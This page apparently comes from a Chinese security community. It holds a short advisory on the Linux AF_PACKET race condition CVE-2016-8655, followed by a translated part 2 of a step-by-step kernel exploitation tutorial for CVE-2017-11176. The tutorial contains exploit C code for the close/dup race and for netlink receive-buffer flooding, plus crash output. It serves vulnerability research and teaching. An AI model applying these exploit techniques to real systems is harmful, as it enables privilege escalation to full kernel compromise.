新建AF_PACKE套接字你需要CAP_NET_RAW在你的网络命名空间 ，然而系统中非权限的进程在非权限的命名空间可以获得这个能力（Ubuntu,
Fedora等发行版），这个漏洞可以在容器内触发，从而入侵整个主机内核。在android上，有
gid=3004/AID_NET_RAW的进程可以新建AF_PACKET套接字 (mediaserver)，从而触发这个漏洞。
问题出在inside packet_set_ring() 和
packet_setsockopt()函数中，我们可以看到当套接字使用PACKET_RX_RING选项时候，packet_set_ring()会调用setsockopt()函数。
如果套接字的版本是TPACKET_V3，一个 timer_list对象将会在init_prb_bdqc()调用时被
packet_set_ring()初始化。
switch (po->tp_version) {
case TPACKET_V3:
/* Transmit path is not supported. We checked
* it above but just being paranoid
*/
if (!tx_ring)
init_prb_bdqc(po, rb, pg_vec, req_u);
break;
default:
break;
}
函数的流程如下：
packet_set_ring()->init_prb_bdqc()->prb_setup_retire_blk_timer()->prb_init_blk_timer()->prb_init_blk_timer()->init_timer()
当套接字关闭，packet_set_ring()会再次被调用，如果packet的版本> TPACKET_V2，会释放和删除先前初始化的定时器。
if (closing && (po->tp_version > TPACKET_V2)) {
/* Because we don't support block-based V3 on tx-ring */
if (!tx_ring)
prb_shutdown_retire_blk_timer(po, rb_queue);
}
当packet版本为TPACKET_V1时，init_prb_bdqc()将会在packet_setsockopt()后被执行，在packet_set_ring()
函数前返回。
ring buffer被初始化后，可以尝试拒绝改变套接字版本。但是这样的校验是不完整的。
case PACKET_VERSION:
{
...
if (po->rx_ring.pg_vec || po->tx_ring.pg_vec)
return -EBUSY;
在 packet_set_ring()中init_prb_bdqc() 和 swap(rb->pg_vec, pg_vec)
之间的调用有足够的空间来竞争这条代码路径
当套接字关闭，packet_set_ring()将不会删除定时器，因此这时套接字的版本为TPACKET_V1，timer_list
结构体描述定时器对象定位在内部的packet_sock结构体中，套接字将调用kfree()释放。
我们可以在通过UAF利用定时器对象上对SLAB分配器实现不同的中毒攻击（我发现add_key()是最可靠的)，这最终会导致当定时器过期内核跳到处理函数。
通过在packet_setsockopt()中使用lock_sock(sk)来修复这个bug,同时锁定packet版本。
**漏洞验证**
**
**
**POC**
<http://pastebin.com/qe6dYkeP>
国内网盘地址：
<https://pan.baidu.com/s/1sl91PA9>
**修复方法**
各linux发行版自行更新内核到最新版本。
**相关链接**
<http://seclists.org/oss-sec/2016/q4/607>
<http://malwarejake.blogspot.com/2016/12/new-linux-privilege-escalation.html>
<https://security-tracker.debian.org/tracker/CVE-2016-8655>
<https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a>
<https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c>
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8655>
[https://www.ubuntu.com/usn/usn-3151-1/](http://https://www.ubuntu.com/usn/usn-3151-1/) | 社区文章 |
**本文翻译自：[CVE-2017-11176: A step-by-step Linux Kernel exploitation (part
2/4)](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html)**
译者注：[前一部分链接](https://xz.aliyun.com/t/5319)
# 使第二次循环中的fget()返回NULL
到目前为止，在用户态下满足了触发漏洞的三个条件之一。TODO:
* **使netlink_attachskb()返回1**
* [DONE]exp线程解除阻塞
* **使第二次fget()调用返回NULL**
在本节中，将尝试使第二次fget()调用返回NULL。这会使得在第二个循环期间跳到“退出路径”：
retry:
filp = fget(notification.sigev_signo);
if (!filp) {
ret = -EBADF;
goto out; // <--------- on the second loop only!
}
## 为什么fget()会返回NULL？
通过System Tap，可以看到重置FDT中的对应文件描述符会使得fget()返回NULL：
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails
**fget()** 的作用：
* 检索当前进程的“struct files_struct”
* 在files_struct中检索“struct fdtable”
* 获得“fdt->fd[fd]”的值（一个“struct file”指针）
* “struct file”的引用计数（如果不为NULL）加1
* 返回“struct file”指针
简而言之，如果特定文件描述符在FDT中为NULL，则fget()返回NULL。
**NOTE** :如果不记得所有这些结构之间的关系，请参考[Core
Concept＃1](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html)。
## 重置文件描述符表中的条目
在stap脚本中，重置了文件描述符“3”的fdt条目（参见上一节）。怎么在用户态下做到这点？如何将FDT条目设置为NULL？
**答案：close()系统调用。**
这是一个简化版本（没有锁也没有出错处理）：
// [fs/open.c]
SYSCALL_DEFINE1(close, unsigned int, fd)
{
struct file * filp;
struct files_struct *files = current->files;
struct fdtable *fdt;
int retval;
[0] fdt = files_fdtable(files);
[1] filp = fdt->fd[fd];
[2] rcu_assign_pointer(fdt->fd[fd], NULL); // <----- equivalent to: fdt->fd[fd] = NULL
[3] retval = filp_close(filp, files);
return retval;
}
close()系统调用：
* [0] - 检索当前进程的FDT
* [1] - 检索FDT中与fd关联的struct file指针
* [2] - **将FDT对应条目置为NULL（无条件）**
* [3] - 文件对象删除引用（即调用fput()）
我们有了一个简单的方法（无条件地）重置FDT条目。然而，它带来了另一个问题......
## 先有蛋还是先有鸡问题
在 _unblock_thread_
线程调用setsockopt()之前调用close()非常诱人。问题是setsockopt()需要一个有效的文件描述符！已经通过system
tap[尝试过](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html#update-the-stap-script)。在用户态下同样遇到了这个问题......
在调用setsocktopt()之后再调用close()会怎么样？如果我们在调用setsockopt()（解除主线程阻塞）之后再调用close()，
**窗口期就会很小** 。
幸运的是有一种方法！在[Core Concept＃1](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html)中，已经说过文件描述符表 **不是1：1映射**
。几个文件描述符可能指向同一个文件对象。如何使两个文件描述符指向相同的文件对象？ **dup()系统调用** 。
// [fs/fcntl.c]
SYSCALL_DEFINE1(dup, unsigned int, fildes)
{
int ret = -EBADF;
[0] struct file *file = fget(fildes);
if (file) {
[1] ret = get_unused_fd();
if (ret >= 0)
[2] fd_install(ret, file); // <----- equivalent to: current->files->fdt->fd[ret] = file
else
fput(file);
}
[3] return ret;
}
dup()完全符合要求：
* [0] - 根据文件描述符获取相应的struct file指针。
* [1] - 选择下一个“未使用/可用”的文件描述符。
* [2] - 设置fdt中新文件描述符（[1]处获得）对应条目为相应struct file指针（[0]处获得）。
* [3] - 返回新的fd。
最后，我们将有两个文件描述符指向相同文件对象：
* **sock_fd** ：在mq_notify()和close()使用
* **unblock_fd** ：在setsockopt()中使用
## 更新exp
更新exp（添加close/dup调用并修改setsockopt()参数）：
struct unblock_thread_arg
{
int sock_fd;
int unblock_fd; // <----- used by the "unblock_thread"
bool is_ready;
};
static void* unblock_thread(void *arg)
{
// ... cut ...
sleep(5); // gives some time for the main thread to block
printf("[unblock] closing %d fd\n", uta->sock_fd);
_close(uta->sock_fd); // <----- close() before setsockopt()
printf("[unblock] unblocking now\n");
if (_setsockopt(uta->unblock_fd, SOL_NETLINK, // <----- use "unblock_fd" now!
NETLINK_NO_ENOBUFS, &val, sizeof(val)))
perror("setsockopt");
return NULL;
}
int main(void)
{
// ... cut ...
if ((uta.unblock_fd = _dup(uta.sock_fd)) < 0) // <----- dup() after socket()
{
perror("dup");
goto fail;
}
printf("[main] netlink fd duplicated = %d\n", uta.unblock_fd);
// ... cut ...
}
删除stap脚本中重置FDT条目的行，然后运行：
-={ CVE-2017-11176 Exploit }=- [main] netlink socket created = 3
[main] netlink fd duplicated = 4
[main] creating unblock thread...
[main] unblocking thread has been created!
[main] get ready to block
[unblock] closing 3 fd
[unblock] unblocking now
mq_notify: Bad file descriptor
exploit failed!
<<< KERNEL CRASH >>>
**ALERT COBRA：第一次内核崩溃！释放后重用** 。
崩溃的原因将在[第3部分](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html)中进行研究。
_长话短说：由于调用了dup()，调用close()不会真的释放netlink_sock对象（只是减少了一次引用）。netlink_detachskb()实际上删除netlink_sock的最后一个引用（并释放它）。最后，在程序退出期间触发释放后重用，退出时关闭“unblock_fd”文件描述符。_
# “retry”路径
这节会展开部分内核代码。现在距离完整的PoC只有一步之遥。
TODO：
* **使netlink_attachskb()返回1**
* [DONE]exp线程解除阻塞
* [DONE]使第二次fget()调用返回NULL
为了执行到 **retry路径** ，需要 **netlink_attachskb()** 返回1，必须要满足第一个条件并解除线程阻塞（已经做到了）：
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;
nlk = nlk_sk(sk);
[0] if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))
{
// ... cut ...
return 1;
}
// normal path
return 0;
}
如果满足以下条件之一，则条件[0]为真：：
* **sk_rmem_alloc** 大于 **sk_rcvbuf**
* **nlk- >state**最低有效位不为0。
目前通过stap脚本设置“nlk->state”的最低有效位：
struct sock *sk = (void*) STAP_ARG_arg_sock;
struct netlink_sock *nlk = (void*) sk;
nlk->state |= 1;
但是将套接字状态标记为“拥塞”（最低有效位）比较麻烦，只有内核态下内存分配失败才会设置这一位。这会使系统进入不稳定状态。
相反，将尝试增加 **sk_rmem_alloc** 的值，该值表示sk的接收缓冲区“当前”大小。
## 填充接收缓冲区
在本节中，将尝试满足第一个条件，即“接收缓冲区已满？”：
atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf
struct sock（在netlink_sock中）具有以下字段：
* **sk_rcvbuf** ：接收缓冲区“理论上”最大大小（以字节为单位）
* **sk_rmem_alloc** ：接收缓冲区的“当前”大小（以字节为单位）
* **sk_receive_queue** ：“skb”双链表（网络缓冲区）
**NOTE** ：sk_rcvbuf是“理论上的”，因为接收缓冲区的“当前”大小实际上可以大于它。
在使用stap（[第1部分](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html)）输出netlink sock结构时，有：
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
有两种方法使这个条件成立：
* 将sk_rcvbuf减小到0以下（sk_rcvbuf是整型（在我们使用的内核版本中））
* 将sk_rmem_alloc增加到133120字节大小以上
## 减少sk_rcvbuf
sk_rcvbuf在所有sock对象中通用，可以通过sock_setsockopt修改（使用SOL_SOCKET参数）：
// from [net/core/sock.c]
int sock_setsockopt(struct socket *sock, int level, int optname,
char __user *optval, unsigned int optlen)
{
struct sock *sk = sock->sk;
int val;
// ... cut ...
case SO_RCVBUF:
[0] if (val > sysctl_rmem_max)
val = sysctl_rmem_max;
set_rcvbuf:
sk->sk_userlocks |= SOCK_RCVBUF_LOCK;
[1] if ((val * 2) < SOCK_MIN_RCVBUF)
sk->sk_rcvbuf = SOCK_MIN_RCVBUF;
else
sk->sk_rcvbuf = val * 2;
break;
// ... cut (other options handling) ...
}
当看到这种类型的代码时， **要注意每个表达式的类型** 。
**NOTE**
:“有符号/无符号类型混用”可能存在许多漏洞，将较大的类型（u64）转换成较小的类型（u32）时也是如此。这通常会导致整型溢出或类型转换问题。
在我们使用的内核中有：
* **sk_rcvbuf** ：int
* **val** ：int
* **sysctl_rmem_max** ：__u32
* **SOCK_MIN_RCVBUF** ：由于“sizeof()”而“转变”为size_t
SOCK_MIN_RCVBUF定义：
#define SOCK_MIN_RCVBUF (2048 + sizeof(struct sk_buff))
通常有符号整型与无符号整型混合使用时，有符号整型会转换成无符号整型。
假设“val”为负数。在[0]处，会被转换为无符号类型（因为 **sysctl_rmem_max**
类型为“__u32”）。val会被置为sysctl_rmem_max（负数转换成无符号数会很大）。
即使“val”没有被转换为“__u32”，也不会满足第二个条件[1]。最后被限制在[SOCK_MIN_RCVBUF，sysctl_rmem_max]之间（不是负数）。所以只能修改
**sk_rmem_alloc** 而不是 **sk_rcvbuf** 字段。
## 回到“正常”路径
现在是时候回到自开始以来一直忽略的东西：mq_notify()“正常”路径。从概念上讲，当套接字接收缓冲区已满时执行“retry路径”，那么
**正常情况下可能会填充接收缓冲区** 。
netlink_attachskb()：
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;
nlk = nlk_sk(sk);
if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
// ... cut (retry path) ...
}
skb_set_owner_r(skb, sk); // <----- what about this ?
return 0;
}
因此，正常情况下会调用skb_set_owner_r()：
static inline void skb_set_owner_r(struct sk_buff *skb, struct sock *sk)
{
WARN_ON(skb->destructor);
__skb_orphan(skb);
skb->sk = sk;
skb->destructor = sock_rfree;
[0] atomic_add(skb->truesize, &sk->sk_rmem_alloc); // sk->sk_rmem_alloc += skb->truesize
sk_mem_charge(sk, skb->truesize);
}
**skb_set_owner_r()中会使sk_rmem_alloc增加skb->truesize**。那么可以多次调用mq_notify()直到接收缓冲区已满？不幸的是不能这样做。
在mq_notify()的正常执行过程中，会一开始就创建一个skb（称为“cookie”），并通过netlink_attachskb()将其附加到netlink_sock，已经介绍过这部分内容。然后netlink_sock和skb都关联到属于消息队列的“mqueue_inode_info”（参考mq_notify的正常路径）。
**问题是一次只能有一个（cookie）“skb”与mqueue_inode_info相关联。**
第二次调用mq_notify()将会失败并返回“-EBUSY”错误。只能增加 **sk_rmem_alloc**
一次（对于给定的消息队列），并不足以（只有32个字节）使它大于sk_rcvbuf。
实际上可能可以创建多个消息队列，有多个mqueue_inode_info对象并多次调用mq_notify()。或者也可以使用mq_timedsend()系统调用将消息推送到队列中。只是不想在这里研究另一个子系统（mqueue），并且坚持使用“通用的”内核路径（sendmsg），所以我们不会这样做。
可以通过skb_set_owner_r()增加sk_rmem_alloc。
## netlink_unicast()
netlink_attachskb()可能会通过调用skb_set_owner_r()增加sk_rmem_alloc。netlink_attachskb()函数可以由
**netlink_unicast()** 调用。让我们做一个自底向上的分析来检查如何系统调用到netlink_unicast()：
- skb_set_owner_r
- netlink_attachskb
- netlink_unicast
- netlink_sendmsg // there is a lots of "other" callers of netlink_unicast
- sock->ops->sendmsg()
- __sock_sendmsg_nosec()
- __sock_sendmsg()
- sock_sendmsg()
- __sys_sendmsg()
- SYSCALL_DEFINE3(sendmsg, ...)
因为 **netlink_sendmsg()**
是netlink套接字的proto_ops（[核心概念＃1](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html)），所以可以通过sendmsg()调用它。
从sendmsg()系统调用到sendmsg的proto_ops（sock->ops->sendmsg()）的通用代码路径将在[第3部分](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html)中详细介绍。现在先假设可以很轻易调用netlink_sendmsg()。
## 从netlink_sendmsg()到netlink_unicast()
sendmsg()系统调用声明：
size_t sendmsg （int sockfd ， const struct msghdr * msg ， int flags ）;
在msg和flags参数中设置对应值从而调用netlink_unicast();
struct msghdr {
void *msg_name; /* optional address */
socklen_t msg_namelen; /* size of address */
struct iovec *msg_iov; /* scatter/gather array */
size_t msg_iovlen; /* # elements in msg_iov */
void *msg_control; /* ancillary data, see below */
size_t msg_controllen; /* ancillary data buffer len */
int msg_flags; /* flags on received message */
};
struct iovec
{
void __user *iov_base;
__kernel_size_t iov_len;
};
在本节中， **将从代码推断参数值，并逐步建立我们的“约束”列表**
。这样做会使内核执行我们想要的路径。这就是内核漏洞利用的本质。在函数的末尾处才会调用netlink_unicast()。需要满足所有条件......
static int netlink_sendmsg(struct kiocb *kiocb, struct socket *sock,
struct msghdr *msg, size_t len)
{
struct sock_iocb *siocb = kiocb_to_siocb(kiocb);
struct sock *sk = sock->sk;
struct netlink_sock *nlk = nlk_sk(sk);
struct sockaddr_nl *addr = msg->msg_name;
u32 dst_pid;
u32 dst_group;
struct sk_buff *skb;
int err;
struct scm_cookie scm;
u32 netlink_skb_flags = 0;
[0] if (msg->msg_flags&MSG_OOB)
return -EOPNOTSUPP;
[1] if (NULL == siocb->scm)
siocb->scm = &scm;
err = scm_send(sock, msg, siocb->scm, true);
[2] if (err < 0)
return err;
// ... cut ...
err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT); // <---- our target
out:
scm_destroy(siocb->scm);
return err;
}
不设置 _MSG_OOB_ 标志以满足[0]处条件。这是第一个约束： **msg- >msg_flags没有设置MSG_OOB**。
[1]处的条件为真，因为在 **__sock_sendmsg_nosec()**
中会将“siocb->scm”置为NULL。最后，scm_send()返回值非负[2]，代码：
static __inline__ int scm_send(struct socket *sock, struct msghdr *msg,
struct scm_cookie *scm, bool forcecreds)
{
memset(scm, 0, sizeof(*scm));
if (forcecreds)
scm_set_cred(scm, task_tgid(current), current_cred());
unix_get_peersec_dgram(sock, scm);
if (msg->msg_controllen <= 0) // <----- this need to be true...
return 0; // <----- ...so we hit this and skip __scm_send()
return __scm_send(sock, msg, scm);
}
第二个约束： **msg- >msg_controllen等于零**（类型为size_t，没有负值）。
继续：
// ... netlink_sendmsg() continuation ...
[0] if (msg->msg_namelen) {
err = -EINVAL;
[1] if (addr->nl_family != AF_NETLINK)
goto out;
[2a] dst_pid = addr->nl_pid;
[2b] dst_group = ffs(addr->nl_groups);
err = -EPERM;
[3] if ((dst_group || dst_pid) && !netlink_allowed(sock, NL_NONROOT_SEND))
goto out;
netlink_skb_flags |= NETLINK_SKB_DST;
} else {
dst_pid = nlk->dst_pid;
dst_group = nlk->dst_group;
}
// ... cut ...
这个有点棘手。这块代码取决于“sender”套接字是否已连接到目标（receiver）套接字。如果已连接，则“nlk->dst_pid”和“nlk->dst_group”都已被赋值。但是这里不想连接到receiver套接字（有副作用），所以会采取第一个分支。
**msg- >msg_namelen不为零[0]。**
看一下函数的开头部分，“addr”是另一个可控的参数：msg->msg_name。通过[2a]和[2b]，可以选择任意的“dst_group”和“dst_pid”。控制这些可以做到：
* dst_group == 0：发送单播消息而不是广播（参考man 7 netlink）
* dst_pid！= 0：与我们选择的receiver套接字（用户态）通信。0代表“与内核通信”（阅读手册！）。
将其转换成约束条件（msg_name被转换为sockaddr_nl类型）：
msg->msg_name->dst_group 等于零
msg->msg_name->dst_pid 等于“目标”套接字的nl_pid
这里还有一个隐含的条件是 **netlink_allowed(sock，NL_NONROOT_SEND)** [3]返回非零值：
static inline int netlink_allowed(const struct socket *sock, unsigned int flag)
{
return (nl_table[sock->sk->sk_protocol].flags & flag) || capable(CAP_NET_ADMIN));
}
因为运行exp的用户是非特权用户，所以没有CAP_NET_ADMIN。唯一设置了“NL_NONROOT_SEND”标志的“netlink协议”是
_NETLINK_USERSOCK_ 。 **所以“sender”套接字必须具有NETLINK_USERSOCK协议** 。
另外[1]，需要使 **msg- >msg_name->nl_family等于AF_NETLINK**。
继续：
[0] if (!nlk->pid) {
[1] err = netlink_autobind(sock);
if (err)
goto out;
}
无法控制[0]处的条件，因为在套接字创建期间，套接字的pid会被设置为零（整个结构体由sk_alloc()清零）。后面会讨论这点，现在先假设netlink_autobind()
[1]会为sender套接字找到“可用”的pid并且不会出错。在第二次调用sendmsg()时将不满足条件[0]，此时已经设置“nlk->pid”。继续：
err = -EMSGSIZE;
[0] if (len > sk->sk_sndbuf - 32)
goto out;
err = -ENOBUFS;
skb = alloc_skb(len, GFP_KERNEL);
[1] if (skb == NULL)
goto out;
“len”在__sys_sendmsg()中计算。这是“所有iovec长度的总和”。因此，所有iovecs的长度总和必须小于sk->sk_sndbuf减去32[0]。为了简单起见，将使用单个iovec：
* msg->msg_iovlen等于1 //单个iovec
* msg->msg_iov->iov_len小于等于sk->sk_sndbuf减去32
* msg->msg_iov->iov_base必须是用户空间可读 //否则__sys_sendmsg()将出错
最后一个约束意味着 **msg- >msg_iov也必须指向用户空间可读区域**（否则__sys_sendmsg()将出错）。
**NOTE** ：“sk_sndbuf”等同于“sk_rcvbuf”但指的是发送缓冲区。可以通过 **sock_getsockopt()**
“SO_SNDBUF”参数获得它的值。
[1]处的条件不应该为真。如果为真，则意味着内核当前耗尽了内存并且处于对exp来说很糟的状态。不应该继续执行exp，否则很可能会失败，更糟的是会内核崩溃！
可以忽略下一个代码块（不需要满足任何条件），“siocb->scm”结构体由scm_send()初始化：
NETLINK_CB(skb).pid = nlk->pid;
NETLINK_CB(skb).dst_group = dst_group;
memcpy(NETLINK_CREDS(skb), &siocb->scm->creds, sizeof(struct ucred));
NETLINK_CB(skb).flags = netlink_skb_flags;
继续：
err = -EFAULT;
[0] if (memcpy_fromiovec(skb_put(skb, len), msg->msg_iov, len)) {
kfree_skb(skb);
goto out;
}
[0]处的检查不会有问题，已经提供可读的iovec，否则之前的__sys_sendmsg()就已经出错（前一个约束）。
[0] err = security_netlink_send(sk, skb);
if (err) {
kfree_skb(skb);
goto out;
}
Linux安全模块（LSM，例如SELinux）检查。如果无法满足此条件，那就需要找另一条路径来执行netlink_unicast()或另一种方法来增加“sk_rmem_alloc”（提示：也许可以尝试netlink_dump()）。假设在目标机器上满足此条件。
最后：
[0] if (dst_group) {
atomic_inc(&skb->users);
netlink_broadcast(sk, skb, dst_pid, dst_group, GFP_KERNEL);
}
[1] err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);
还记得之前将“dst_group”赋值为"msg->msg_name->dst_group"吧。由于它为零，将跳过[0]处代码...
**最后调用netlink_unicast()** ！
总结一下从netlink_sendmsg()执行到netlink_unicast()所要满足的条件：
* **msg- >msg_flags**没有设置MSG_OOB
* **msg- >msg_controllen**等于0
* **msg- >msg_namelen**不为0
* **msg- >msg_name->nl_family**等于AF_NETLINK
* **msg- >msg_name->nl_groups**等于0
* **msg- >msg_name->nl_pid**不为0，指向receiver套接字
* sender套接字必须使用 **NETLINK_USERSOCK** 协议
* **msg- >msg_iovlen**等于1
* **msg- >msg_iov**是一个可读的用户态地址
* **msg- >msg_iov->iov_len**小于等于sk_sndbuf减32
* **msg- >msg_iov->iov_base**是一个可读的用户态地址
这是内核漏洞利用的部分过程。分析每个检查，强制执行特定的内核路径，定制系统调用参数等。实际上，建立此约束条件列表的时间并不长。有些路径比这更复杂。
继续前进，下一步是netlink_attachskb()。
## 从netlink_unicast()到netlink_attachskb()
这个应该比前一个更容易。通过以下参数调用netlink_unicast()：
netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);
* **sk** 是sender套接字
* **skb** 是套接字缓冲区，由msg->msg_iov->iov_base指向的数据填充，大小为msg->msg_iov->iov_len
* **dst_pid** 是可控的pid（msg->msg_name->nl_pid）指向receiver套接字
* **msg- >msg_flasg＆MSG_DONTWAIT**表示netlink_unicast()是否应阻塞
**WARNING** ：在netlink_unicast()代码中，“ssk”是sender套接字，“sk”是receiver套接字。
netlink_unicast()代码：
int netlink_unicast(struct sock *ssk, struct sk_buff *skb,
u32 pid, int nonblock)
{
struct sock *sk;
int err;
long timeo;
skb = netlink_trim(skb, gfp_any()); // <----- ignore this
[0] timeo = sock_sndtimeo(ssk, nonblock);
retry:
[1] sk = netlink_getsockbypid(ssk, pid);
if (IS_ERR(sk)) {
kfree_skb(skb);
return PTR_ERR(sk);
}
[2] if (netlink_is_kernel(sk))
return netlink_unicast_kernel(sk, skb, ssk);
[3] if (sk_filter(sk, skb)) {
err = skb->len;
kfree_skb(skb);
sock_put(sk);
return err;
}
[4] err = netlink_attachskb(sk, skb, &timeo, ssk);
if (err == 1)
goto retry;
if (err)
return err;
[5] return netlink_sendskb(sk, skb);
}
在[0]处，sock_sndtimeo()根据nonblock参数设置 **timeo**
（超时）的值。由于我们不想阻塞（nonblock>0），timeo将为零。 **msg- >msg_flags必须设置MSG_DONTWAIT**。
在[1]处，根据pid获得receiver套接字“sk”。在下一节中会有说明，在通过netlink_getsockbypid()获得receiver套接字之前
**需要先将其绑定** 。
在[2]处，receiver套接字不能是“内核”套接字。如果一个netlink套接字
设置了NETLINK_KERNEL_SOCKET标志，则它被标记为“内核”套接字，这些套接字通过netlink_kernel_create()函数创建。不幸的是，NETLINK_GENERIC协议就是其中之一。
**所以需要将receiver套接字协议更改为NETLINK_USERSOCK** 。
在[3]处，BPF套接字过滤器可能正在生效。但如果 **没有为receiver套接字创建任何BPF过滤器** ，则可以不用管它。
在[4]处调用了netlink_attachskb()！在netlink_attachskb()中，确保执行下列路径之一：
* receiver缓冲区未满：调用skb_set_owner_r() -> 增加sk_rmem_alloc
* receiver缓冲区已满：netlink_attachskb()不阻塞直接返回-EAGAIN
**可以知道何时接收缓冲区已满（只需要检查sendmsg()的错误代码）** 。
最后，在[5]处调用netlink_sendskb()将skb添加到接收缓冲区列表中，并删除通过netlink_getsockbypid()获取的（receiver套接字）引用。好极了！:-)
更新约束列表：
* **msg- >msg_flags**设置MSG_DONTWAIT
* receiver套接字必须在调用sendmsg()之前绑定
* receiver套接字必须使用 **NETLINK_USERSOCK** 协议
* 不要为receiver套接字定义任何BPF过滤器
现在非常接近完整的PoC。只要绑定receiver套接字就好了。
## 绑定receiver套接字
与任何套接字通信一样，两个套接字可以使用“地址”进行通信。由于正在使用netlink套接字，在这里将使用“struct sockaddr_nl”类型：
struct sockaddr_nl {
sa_family_t nl_family; /* AF_NETLINK */
unsigned short nl_pad; /* Zero. */
pid_t nl_pid; /* Port ID. */
__u32 nl_groups; /* Multicast groups mask. */
};
由于不想成为“广播组”的一部分，因此nl_groups必须为0。这里唯一重要的字段是“nl_pid”。
基本上， **netlink_bind()** 有两条路径：
* nl_pid不为0：调用 **netlink_insert()**
* nl_pid为0：调用 **netlink_autobind()** ，后者又调用netlink_insert()
如果使用已分配的pid调用netlink_insert()将产生“-EADDRINUSE”错误。否则会在nl_pid和netlink套接字
之间创建映射关系。即现在可以通过netlink_getsockbypid()获得netlink套接字。此外，
**netlink_insert()会将套接字引用计数加1** 。在最后的PoC中这一点很重要。
**NOTE** ：[第4部分](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html)将详细介绍“pid：netlink_sock”映射存储方式。
虽然调用netlink_autobind()更自然一点，但我们实际上是通过不断尝试pid值（autobind的作用，找当前未使用的pid值）来模拟netlink_autobind功能（不知道为什么这样做...主要是懒...），直到bind()成功。这样做允许我们直接获取目标nl_pid值而不调用getsockname()，并且（可能）简化调试（不确定:-)）。
译者注：本来应该nl_pid为0，然后调用bind的，但原文作者直接设置nl_pid为118然后不断递增尝试bind(),直到成功。netlink_autobind应该会获取当前未使用的pid值。
## 整合
确定所有执行路径花了很长时间，但现在是时候在exp中实现这一部分并最终达成目标： **netlink_attachskb()返回1** ！
步骤：
* 创建两个AF_NETLINK套接字使用NETLINK_USERSOCK协议
* 绑定目标（receiver）套接字（最后它的接收缓冲区必须已满）
* [可选]尝试减少目标套接字的接收缓冲区（减少调用sendmsg()）
* sender套接字通过sendmsg()像目标套接字发送大量数据，直到返回EAGAIN错误
* 关闭sender套接字（不再需要）
可以独立运行下面代码以验证一切正常：
static int prepare_blocking_socket(void)
{
int send_fd;
int recv_fd;
char buf[1024*10]; // should be less than (sk->sk_sndbuf - 32), you can use getsockopt()
int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
.nl_pad = 0,
.nl_pid = 118, // must different than zero
.nl_groups = 0 // no groups
};
struct iovec iov = {
.iov_base = buf,
.iov_len = sizeof(buf)
};
struct msghdr mhdr = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = NULL,
.msg_controllen = 0,
.msg_flags = 0,
};
printf("[ ] preparing blocking netlink socket\n");
if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
(recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)
{
perror("socket");
goto fail;
}
printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);
// simulate netlink_autobind()
while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
{
if (errno != EADDRINUSE)
{
perror("[-] bind");
goto fail;
}
addr.nl_pid++;
}
printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);
if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
else
printf("[+] receive buffer reduced\n");
printf("[ ] flooding socket\n");
while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0) // <----- don't forget MSG_DONTWAIT
;
if (errno != EAGAIN) // <----- did we failed because the receive buffer is full ?
{
perror("[-] sendmsg");
goto fail;
}
printf("[+] flood completed\n");
_close(send_fd);
printf("[+] blocking socket ready\n");
return recv_fd;
fail:
printf("[-] failed to prepare block socket\n");
return -1;
}
通过system tap检查结果。 **从现在开始，System Tap仅用于观察内核，不再修改任何内容** 。请记得删除将套接字标记为阻塞的行，然后运行：
(2768-2768) [SYSCALL] ==>> sendmsg (3, 0x7ffe69f94b50, MSG_DONTWAIT)
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [netlink] ==>> netlink_sendmsg (kiocb=0xffff880006137bb8 sock=0xffff88002fdba0c0 msg=0xffff880006137f18 len=0x2800)
(socket=0xffff88002fdba0c0)->sk->sk_refcnt = 1
(2768-2768) [netlink] ==>> netlink_autobind (sock=0xffff88002fdba0c0)
(2768-2768) [netlink] <<== netlink_autobind = 0
(2768-2768) [skb] ==>> alloc_skb (priority=0xd0 size=?)
(2768-2768) [skb] ==>> skb_put (skb=0xffff88003d298840 len=0x2800)
(2768-2768) [skb] <<== skb_put = ffff880006150000
(2768-2768) [iovec] ==>> memcpy_fromiovec (kdata=0xffff880006150000 iov=0xffff880006137da8 len=0x2800)
(2768-2768) [uland] ==>> copy_from_user ()
